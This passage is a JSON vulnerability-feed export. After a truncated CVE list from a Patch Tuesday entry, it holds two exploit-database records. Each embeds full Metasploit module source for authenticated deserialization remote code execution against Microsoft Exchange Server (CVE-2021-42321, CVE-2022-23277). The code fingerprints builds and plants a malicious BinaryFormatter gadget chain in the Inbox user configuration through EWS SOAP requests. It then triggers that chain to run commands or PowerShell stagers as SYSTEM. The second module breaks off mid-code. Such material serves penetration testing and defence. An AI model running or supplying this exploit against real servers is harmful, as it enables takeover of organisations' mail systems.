"CVE-2022-21898", "CVE-2022-21899", "CVE-2022-21900", "CVE-2022-21901", "CVE-2022-21902", "CVE-2022-21903", "CVE-2022-21904", "CVE-2022-21905", "CVE-2022-21906", "CVE-2022-21907", "CVE-2022-21908", "CVE-2022-21910", "CVE-2022-21911", "CVE-2022-21912", "CVE-2022-21913", "CVE-2022-21914", "CVE-2022-21915", "CVE-2022-21916", "CVE-2022-21917", "CVE-2022-21918", "CVE-2022-21919", "CVE-2022-21920", "CVE-2022-21921", "CVE-2022-21922", "CVE-2022-21924", "CVE-2022-21925", "CVE-2022-21928", "CVE-2022-21929", "CVE-2022-21930", "CVE-2022-21931", "CVE-2022-21932", "CVE-2022-21954", "CVE-2022-21958", "CVE-2022-21959", "CVE-2022-21960", "CVE-2022-21961", "CVE-2022-21962", "CVE-2022-21963", "CVE-2022-21964", "CVE-2022-21969", "CVE-2022-21970"], "modified": "2022-01-11T21:41:56", "id": "RAPID7BLOG:20364300767E58631FFE0D21622E63A3", "href": "https://blog.rapid7.com/2022/01/11/patch-tuesday-january-2022/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "zdt": [{"lastseen": "2023-05-24T12:24:50", "description": "This Metasploit module allows remote attackers to execute arbitrary code on Exchange Server 2019 CU10 prior to Security Update 3, Exchange Server 2019 CU11 prior to Security Update 2, Exchange Server 2016 CU21 prior to Security Update 3, and Exchange Server 2016 CU22 prior to Security Update 2. Note that authentication is required to exploit this vulnerability. The specific flaw exists due to the fact that the deny list for the ChainedSerializationBinder had a typo whereby an entry was typo'd as System.Security.ClaimsPrincipal instead of the proper value of System.Security.Claims.ClaimsPrincipal. By leveraging this vulnerability, attacks can bypass the ChainedSerializationBinder's deserialization deny list and execute code as NT AUTHORITY\\SYSTEM. Tested against Exchange Server 2019 CU11 SU0 on Windows Server 2019, and Exchange Server 2016 CU22 SU0 on Windows Server 2016.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-02-26T00:00:00", "type": "zdt", "title": "Microsoft Exchange Server Remote Code Execution Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42321"], "modified": "2022-02-26T00:00:00", "id": "1337DAY-ID-37423", "href": "https://0day.today/exploit/description/37423", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'nokogiri'\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n include Msf::Exploit::Powershell\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft Exchange Server ChainedSerializationBinder Deny List Typo RCE',\n 'Description' => %q{\n This vulnerability allows remote attackers to execute arbitrary code\n on Exchange Server 2019 CU10 prior to Security Update 3, Exchange Server 2019 CU11\n prior to Security Update 2, Exchange Server 2016 CU21 prior to\n Security Update 3, and Exchange Server 2016 CU22 prior to\n Security Update 2.\n\n Note that authentication is required to exploit this vulnerability.\n\n The specific flaw exists due to the fact that the deny list for the\n ChainedSerializationBinder had a typo whereby an entry was typo'd as\n System.Security.ClaimsPrincipal instead of the proper value of\n System.Security.Claims.ClaimsPrincipal.\n\n By leveraging this vulnerability, attacks can bypass the\n ChainedSerializationBinder's deserialization deny list\n and execute code as NT AUTHORITY\\SYSTEM.\n\n Tested against Exchange Server 2019 CU11 SU0 on Windows Server 2019,\n and Exchange Server 2016 CU22 SU0 on Windows Server 2016.\n },\n 'Author' => [\n 'pwnforsp', # Original Bug Discovery\n 'zcgonvh', # Of 360 noah lab, Original Bug Discovery\n 'Microsoft Threat Intelligence Center', # Discovery of exploitation in the wild\n 'Microsoft Security Response Center', # Discovery of exploitation in the wild\n 'peterjson', # Writeup\n 'testanull', # PoC Exploit\n 'Grant Willcox', # Aka tekwizz123. That guy in the back who took the hard work of all the people above and wrote this module :D\n ],\n 'References' => [\n ['CVE', '2021-42321'],\n ['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321'],\n ['URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-9-2021-kb5007409-7e1f235a-d41b-4a76-bcc4-3db90cd161e7'],\n ['URL', 'https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169'],\n ['URL', 'https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398'],\n ['URL', 'https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852']\n ],\n 'DisclosureDate' => '2021-12-09',\n 'License' => MSF_LICENSE,\n 'Platform' => 'win',\n 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n 'Privileged' => true,\n 'Targets' => [\n [\n 'Windows Command',\n {\n 'Arch' => ARCH_CMD,\n 'Type' => :win_cmd\n }\n ],\n [\n 'Windows Dropper',\n {\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :win_dropper,\n 'DefaultOptions' => {\n 'CMDSTAGER::FLAVOR' => :psh_invokewebrequest\n }\n }\n ],\n [\n 'PowerShell Stager',\n {\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :psh_stager\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'DefaultOptions' => {\n 'SSL' => true,\n 'HttpClientTimeout' => 5,\n 'WfsDelay' => 10\n },\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION],\n 'SideEffects' => [\n IOC_IN_LOGS, # Can easily log using advice at https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169\n CONFIG_CHANGES # Alters the user configuration on the Inbox folder to get the payload to trigger.\n ]\n }\n )\n )\n register_options([\n Opt::RPORT(443),\n OptString.new('TARGETURI', [true, 'Base path', '/']),\n OptString.new('HttpUsername', [true, 'The username to log into the Exchange server as', '']),\n OptString.new('HttpPassword', [true, 'The password to use to authenticate to the Exchange server', ''])\n ])\n end\n\n def post_auth?\n true\n end\n\n def username\n datastore['HttpUsername']\n end\n\n def password\n datastore['HttpPassword']\n end\n\n def vuln_builds\n # https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019\n [\n [Rex::Version.new('15.1.2308.8'), Rex::Version.new('15.1.2308.20')], # Exchange Server 2016 CU21\n [Rex::Version.new('15.1.2375.7'), Rex::Version.new('15.1.2375.17')], # Exchange Server 2016 CU22\n [Rex::Version.new('15.2.922.7'), Rex::Version.new('15.2.922.19')], # Exchange Server 2019 CU10\n [Rex::Version.new('15.2.986.5'), Rex::Version.new('15.2.986.14')] # Exchange Server 2019 CU11\n ]\n end\n\n def check\n # First lets try a cheap way of doing this via a leak of the X-OWA-Version header.\n # If we get this we know the version number for sure and we can skip a lot of leg work.\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, '/owa/service')\n )\n\n unless res\n return CheckCode::Unknown('Target did not respond to check.')\n end\n\n if res.headers['X-OWA-Version']\n build = res.headers['X-OWA-Version']\n if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) }\n return CheckCode::Appears(\"Exchange Server #{build} is a vulnerable build.\")\n else\n return CheckCode::Safe(\"Exchange Server #{build} is not a vulnerable build.\")\n end\n end\n\n # Next, determine if we are up against an older version of Exchange Server where\n # the /owa/auth/logon.aspx page gives the full version. Recent versions of Exchange\n # give only a partial version without the build number.\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx')\n )\n\n unless res\n return CheckCode::Unknown('Target did not respond to check.')\n end\n\n if res.code == 200 && ((%r{/owa/(?<build>\\d+\\.\\d+\\.\\d+\\.\\d+)} =~ res.body) || (%r{/owa/auth/(?<build>\\d+\\.\\d+\\.\\d+\\.\\d+)} =~ res.body))\n if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) }\n return CheckCode::Appears(\"Exchange Server #{build} is a vulnerable build.\")\n else\n return CheckCode::Safe(\"Exchange Server #{build} is not a vulnerable build.\")\n end\n end\n\n # Next try @tseller's way and try /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application\n # URL which if successful should provide some XML with entries like the following:\n #\n # <assemblyIdentity name=\"microsoft.exchange.ediscovery.exporttool.application\"\n # version=\"15.2.986.5\" publicKeyToken=\"b1d1a6c45aa418ce\" language=\"neutral\"\n # processorArchitecture=\"msil\" xmlns=\"urn:schemas-microsoft-com:asm.v1\" />\n #\n # This only works on Exchange Server 2013 and later and may not always work, but if it\n # does work it provides the full version number so its a nice strategy.\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, '/ecp/current/exporttool/microsoft.exchange.ediscovery.exporttool.application')\n )\n\n unless res\n return CheckCode::Unknown('Target did not respond to check.')\n end\n\n if res.code == 200 && res.body =~ /name=\"microsoft.exchange.ediscovery.exporttool\" version=\"\\d+\\.\\d+\\.\\d+\\.\\d+\"/\n build = res.body.match(/name=\"microsoft.exchange.ediscovery.exporttool\" version=\"(\\d+\\.\\d+\\.\\d+\\.\\d+)\"/)[1]\n if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) }\n return CheckCode::Appears(\"Exchange Server #{build} is a vulnerable build.\")\n else\n return CheckCode::Safe(\"Exchange Server #{build} is not a vulnerable build.\")\n end\n end\n\n # Finally, try a variation on the above and use a well known trick of grabbing /owa/auth/logon.aspx\n # to get a partial version number, then use the URL at /ecp/<version here>/exporttool/. If we get a 200\n # OK response, we found the target version number, otherwise we didn't find it.\n #\n # Props go to @jmartin-r7 for improving my original code for this and suggestion the use of\n # canonical_segments to make this close to the Rex::Version code format. Also for noticing that\n # version_range is a Rex::Version object already and cleaning up some of my original code to simplify\n # things on this premise.\n\n vuln_builds.each do |version_range|\n return CheckCode::Unknown('Range provided is not iterable') unless version_range[0].canonical_segments[0..-2] == version_range[1].canonical_segments[0..-2]\n\n prepend_range = version_range[0].canonical_segments[0..-2]\n lowest_patch = version_range[0].canonical_segments.last\n while Rex::Version.new((prepend_range.dup << lowest_patch).join('.')) <= version_range[1]\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, \"/ecp/#{build}/exporttool/\")\n )\n unless res\n return CheckCode::Unknown('Target did not respond to check.')\n end\n if res && res.code == 200\n return CheckCode::Appears(\"Exchange Server #{build} is a vulnerable build.\")\n end\n\n lowest_patch += 1\n end\n\n CheckCode::Unknown('Could not determine the build number of the target Exchange Server.')\n end\n end\n\n def exploit\n case target['Type']\n when :win_cmd\n execute_command(payload.encoded)\n when :win_dropper\n execute_cmdstager\n when :psh_stager\n execute_command(cmd_psh_payload(\n payload.encoded,\n payload.arch.first,\n remove_comspec: true\n ))\n end\n end\n\n def execute_command(cmd, _opts = {})\n # Get the user's inbox folder's ID and change key ID.\n print_status(\"Getting the user's inbox folder's ID and ChangeKey ID...\")\n xml_getfolder_inbox = %(<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Header>\n <t:RequestServerVersion Version=\"Exchange2013\" />\n </soap:Header>\n <soap:Body>\n <m:GetFolder>\n <m:FolderShape>\n <t:BaseShape>AllProperties</t:BaseShape>\n </m:FolderShape>\n <m:FolderIds>\n <t:DistinguishedFolderId Id=\"inbox\" />\n </m:FolderIds>\n </m:GetFolder>\n </soap:Body>\n </soap:Envelope>)\n\n res = send_request_cgi(\n {\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),\n 'data' => xml_getfolder_inbox,\n 'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.\n }\n )\n fail_with(Failure::Unreachable, 'Connection failed') if res.nil?\n\n unless res&.body\n fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')\n end\n\n xml_getfolder = res.get_xml_document\n xml_getfolder.remove_namespaces!\n xml_tag = xml_getfolder.xpath('//FolderId')\n if xml_tag.empty?\n fail_with(Failure::UnexpectedReply, 'Response obtained but no FolderId element was found within it!')\n end\n unless xml_tag.attribute('Id') && xml_tag.attribute('ChangeKey')\n fail_with(Failure::UnexpectedReply, 'Response obtained without expected Id and ChangeKey elements!')\n end\n change_key_val = xml_tag.attribute('ChangeKey').value\n folder_id_val = xml_tag.attribute('Id').value\n print_good(\"ChangeKey value for Inbox folder is #{change_key_val}\")\n print_good(\"ID value for Inbox folder is #{folder_id_val}\")\n\n # Delete the user configuration object that currently on the Inbox folder.\n print_status('Deleting the user configuration object associated with Inbox folder...')\n xml_delete_inbox_user_config = %(<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Header>\n <t:RequestServerVersion Version=\"Exchange2013\" />\n </soap:Header>\n <soap:Body>\n <m:DeleteUserConfiguration>\n <m:UserConfigurationName Name=\"ExtensionMasterTable\">\n <t:FolderId Id=\"#{folder_id_val}\" ChangeKey=\"#{change_key_val}\" />\n </m:UserConfigurationName>\n </m:DeleteUserConfiguration>\n </soap:Body>\n </soap:Envelope>)\n\n res = send_request_cgi(\n {\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),\n 'data' => xml_delete_inbox_user_config,\n 'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.\n }\n )\n fail_with(Failure::Unreachable, 'Connection failed') if res.nil?\n\n unless res&.body\n fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')\n end\n\n if res.body =~ %r{<m:DeleteUserConfigurationResponseMessage ResponseClass=\"Success\"><m:ResponseCode>NoError</m:ResponseCode></m:DeleteUserConfigurationResponseMessage>}\n print_good('Successfully deleted the user configuration object associated with the Inbox folder!')\n else\n print_warning('Was not able to successfully delete the existing user configuration on the Inbox folder!')\n print_warning('Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!')\n end\n\n # Now to replace the deleted user configuration object with our own user configuration object.\n print_status('Creating the malicious user configuration object on the Inbox folder!')\n\n gadget_chain = Rex::Text.encode_base64(Msf::Util::DotNetDeserialization.generate(cmd, gadget_chain: :ClaimsPrincipal, formatter: :BinaryFormatter))\n xml_malicious_user_config = %(<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Header>\n <t:RequestServerVersion Version=\"Exchange2013\" />\n </soap:Header>\n <soap:Body>\n <m:CreateUserConfiguration>\n <m:UserConfiguration>\n <t:UserConfigurationName Name=\"ExtensionMasterTable\">\n <t:FolderId Id=\"#{folder_id_val}\" ChangeKey=\"#{change_key_val}\" />\n </t:UserConfigurationName>\n <t:Dictionary>\n <t:DictionaryEntry>\n <t:DictionaryKey>\n <t:Type>String</t:Type>\n <t:Value>OrgChkTm</t:Value>\n </t:DictionaryKey>\n <t:DictionaryValue>\n <t:Type>Integer64</t:Type>\n <t:Value>#{rand(1000000000000000000..9111999999999999999)}</t:Value>\n </t:DictionaryValue>\n </t:DictionaryEntry>\n <t:DictionaryEntry>\n <t:DictionaryKey>\n <t:Type>String</t:Type>\n <t:Value>OrgDO</t:Value>\n </t:DictionaryKey>\n <t:DictionaryValue>\n <t:Type>Boolean</t:Type>\n <t:Value>false</t:Value>\n </t:DictionaryValue>\n </t:DictionaryEntry>\n </t:Dictionary>\n <t:BinaryData>#{gadget_chain}</t:BinaryData>\n </m:UserConfiguration>\n </m:CreateUserConfiguration>\n </soap:Body>\n </soap:Envelope>)\n\n res = send_request_cgi(\n {\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),\n 'data' => xml_malicious_user_config,\n 'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.\n }\n )\n fail_with(Failure::Unreachable, 'Connection failed') if res.nil?\n\n unless res&.body\n fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')\n end\n\n unless res.body =~ %r{<m:CreateUserConfigurationResponseMessage ResponseClass=\"Success\"><m:ResponseCode>NoError</m:ResponseCode></m:CreateUserConfigurationResponseMessage>}\n fail_with(Failure::UnexpectedReply, 'Was not able to successfully create the malicious user configuration on the Inbox folder!')\n end\n\n print_good('Successfully created the malicious user configuration object and associated with the Inbox folder!')\n\n # Deserialize our object. If all goes well, you should now have SYSTEM :)\n print_status('Attempting to deserialize the user configuration object using a GetClientAccessToken request...')\n xml_get_client_access_token = %(<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Header>\n <t:RequestServerVersion Version=\"Exchange2013\" />\n </soap:Header>\n <soap:Body>\n <m:GetClientAccessToken>\n <m:TokenRequests>\n <t:TokenRequest>\n <t:Id>#{Rex::Text.rand_text_alphanumeric(4..50)}</t:Id>\n <t:TokenType>CallerIdentity</t:TokenType>\n </t:TokenRequest>\n </m:TokenRequests>\n </m:GetClientAccessToken>\n </soap:Body>\n </soap:Envelope>)\n\n res = send_request_cgi(\n {\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),\n 'data' => xml_get_client_access_token,\n 'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.\n }\n )\n fail_with(Failure::Unreachable, 'Connection failed') if res.nil?\n\n unless res&.body\n fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')\n end\n\n unless res.body =~ %r{<e:Message xmlns:e=\"http://schemas.microsoft.com/exchange/services/2006/errors\">An internal server error occurred. The operation failed.</e:Message>}\n fail_with(Failure::UnexpectedReply, 'Did not recieve the expected internal server error upon deserialization!')\n end\n end\nend\n", "sourceHref": "https://0day.today/exploit/37423", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2023-06-10T15:28:15", "description": "This Metasploit module exploits vulnerabilities within the ChainedSerializationBinder as used in Exchange Server 2019 CU10, Exchange Server 2019 CU11, Exchange Server 2016 CU21, and Exchange Server 2016 CU22 all prior to Mar22SU. Note that authentication is required to exploit these vulnerabilities.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-08-22T00:00:00", "type": "zdt", "title": "Microsoft Exchange Server ChainedSerializationBinder Remote Code Execution Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42321", "CVE-2022-23277"], "modified": "2022-08-22T00:00:00", "id": "1337DAY-ID-37920", "href": "https://0day.today/exploit/description/37920", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'nokogiri'\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n include Msf::Exploit::Powershell\n include Msf::Exploit::Remote::HTTP::Exchange\n include Msf::Exploit::Deprecated\n moved_from 'exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce'\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft Exchange Server ChainedSerializationBinder RCE',\n 'Description' => %q{\n This module exploits vulnerabilities within the ChainedSerializationBinder as used in\n Exchange Server 2019 CU10, Exchange Server 2019 CU11, Exchange Server 2016 CU21, and\n Exchange Server 2016 CU22 all prior to Mar22SU.\n\n Note that authentication is required to exploit these vulnerabilities.\n },\n 'Author' => [\n 'pwnforsp', # Original Bug Discovery\n 'zcgonvh', # Of 360 noah lab, Original Bug Discovery\n 'Microsoft Threat Intelligence Center', # Discovery of exploitation in the wild\n 'Microsoft Security Response Center', # Discovery of exploitation in the wild\n 'peterjson', # Writeup\n 'testanull', # PoC Exploit\n 'Grant Willcox', # Aka tekwizz123. That guy in the back who took the hard work of all the people above and wrote this module :D\n 'Spencer McIntyre', # CVE-2022-23277 support and DataSet gadget chains\n 'Markus Wulftange' # CVE-2022-23277 research\n ],\n 'References' => [\n # CVE-2021-42321 references\n ['CVE', '2021-42321'],\n ['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321'],\n ['URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-9-2021-kb5007409-7e1f235a-d41b-4a76-bcc4-3db90cd161e7'],\n ['URL', 'https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169'],\n ['URL', 'https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398'],\n ['URL', 'https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852'],\n # CVE-2022-23277 references\n ['CVE', '2022-23277'],\n ['URL', 'https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html'],\n ['URL', 'https://testbnull.medium.com/note-nhanh-v%E1%BB%81-binaryformatter-binder-v%C3%A0-cve-2022-23277-6510d469604c']\n ],\n 'DisclosureDate' => '2021-12-09',\n 'License' => MSF_LICENSE,\n 'Platform' => 'win',\n 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n 'Privileged' => true,\n 'Targets' => [\n [\n 'Windows Command',\n {\n 'Arch' => ARCH_CMD,\n 'Type' => :win_cmd\n }\n ],\n [\n 'Windows Dropper',\n {\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :win_dropper,\n 'DefaultOptions' => {\n 'CMDSTAGER::FLAVOR' => :psh_invokewebrequest\n }\n }\n ],\n [\n 'PowerShell Stager',\n {\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :psh_stager\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'DefaultOptions' => {\n 'SSL' => true,\n 'HttpClientTimeout' => 5,\n 'WfsDelay' => 10\n },\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION],\n 'SideEffects' => [\n IOC_IN_LOGS, # Can easily log using advice at https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169\n CONFIG_CHANGES # Alters the user configuration on the Inbox folder to get the payload to trigger.\n ]\n }\n )\n )\n register_options([\n Opt::RPORT(443),\n OptString.new('TARGETURI', [true, 'Base path', '/']),\n OptString.new('HttpUsername', [true, 'The username to log into the Exchange server as']),\n OptString.new('HttpPassword', [true, 'The password to use to authenticate to the Exchange server'])\n ])\n end\n\n def post_auth?\n true\n end\n\n def username\n datastore['HttpUsername']\n end\n\n def password\n datastore['HttpPassword']\n end\n\n def cve_2021_42321_vuln_builds\n # https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019\n [\n '15.1.2308.8', '15.1.2308.14', '15.1.2308.15', # Exchange Server 2016 CU21\n '15.1.2375.7', '15.1.2375.12', # Exchange Server 2016 CU22\n '15.2.922.7', '15.2.922.13', '15.2.922.14', # Exchange Server 2019 CU10\n '15.2.986.5', '15.2.986.9' # Exchange Server 2019 CU11\n ]\n end\n\n def cve_2022_23277_vuln_builds\n # https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019\n [\n '15.1.2308.20', # Exchange Server 2016 CU21 Nov21SU\n '15.1.2308.21', # Exchange Server 2016 CU21 Jan22SU\n '15.1.2375.17', # Exchange Server 2016 CU22 Nov21SU\n '15.1.2375.18', # Exchange Server 2016 CU22 Jan22SU\n '15.2.922.19', # Exchange Server 2019 CU10 Nov21SU\n '15.2.922.20', # Exchange Server 2019 CU10 Jan22SU\n '15.2.986.14', # Exchange Server 2019 CU11 Nov21SU\n '15.2.986.15' # Exchange Server 2019 CU11 Jan22SU\n ]\n end\n\n def check\n # Note we are only checking official releases here to reduce requests when checking versions with exchange_get_version\n current_build_rex = exchange_get_version(exchange_builds: cve_2021_42321_vuln_builds + cve_2022_23277_vuln_builds)\n if current_build_rex.nil?\n return CheckCode::Unknown(\"Couldn't retrieve the target Exchange Server version!\")\n end\n\n @exchange_build = current_build_rex.to_s\n\n if cve_2021_42321_vuln_builds.include?(@exchange_build)\n CheckCode::Appears(\"Exchange Server #{@exchange_build} is vulnerable to CVE-2021-42321\")\n elsif cve_2022_23277_vuln_builds.include?(@exchange_build)\n CheckCode::Appears(\"Exchange Server #{@exchange_build} is vulnerable to CVE-2022-23277\")\n else\n CheckCode::Safe(\"Exchange Server #{@exchange_build} does not appear to be a vulnerable version!\")\n end\n end\n\n def exploit\n if @exchange_build.nil? # make sure the target build is known and if it's not (because the check was skipped), get it\n @exchange_build = exchange_get_version(exchange_builds: cve_2021_42321_vuln_builds + cve_2022_23277_vuln_builds)&.to_s\n if @exchange_build.nil?\n fail_with(Failure::Unknown, 'Failed to identify the target Exchange Server build version.')\n end\n end\n\n if cve_2021_42321_vuln_builds.include?(@exchange_build)\n @gadget_chain = :ClaimsPrincipal\n elsif cve_2022_23277_vuln_builds.include?(@exchange_build)\n @gadget_chain = :DataSetTypeSpoof\n else\n fail_with(Failure::NotVulnerable, \"Exchange Server #{@exchange_build} is not a vulnerable version!\")\n end\n\n case target['Type']\n when :win_cmd\n execute_command(payload.encoded)\n when :win_dropper\n execute_cmdstager\n when :psh_stager\n execute_command(cmd_psh_payload(\n payload.encoded,\n payload.arch.first,\n remove_comspec: true\n ))\n end\n end\n\n def execute_command(cmd, _opts = {})\n # Get the user's inbox folder's ID and change key ID.\n print_status(\"Getting the user's inbox folder's ID and ChangeKey ID...\")\n xml_getfolder_inbox = %(<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Header>\n <t:RequestServerVersion Version=\"Exchange2013\" />\n </soap:Header>\n <soap:Body>\n <m:GetFolder>\n <m:FolderShape>\n <t:BaseShape>AllProperties</t:BaseShape>\n </m:FolderShape>\n <m:FolderIds>\n <t:DistinguishedFolderId Id=\"inbox\" />\n </m:FolderIds>\n </m:GetFolder>\n </soap:Body>\n </soap:Envelope>)\n\n res = send_request_cgi(\n {\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),\n 'data' => xml_getfolder_inbox,\n 'ctype' => 'text/xml; charset=utf-8' # If you 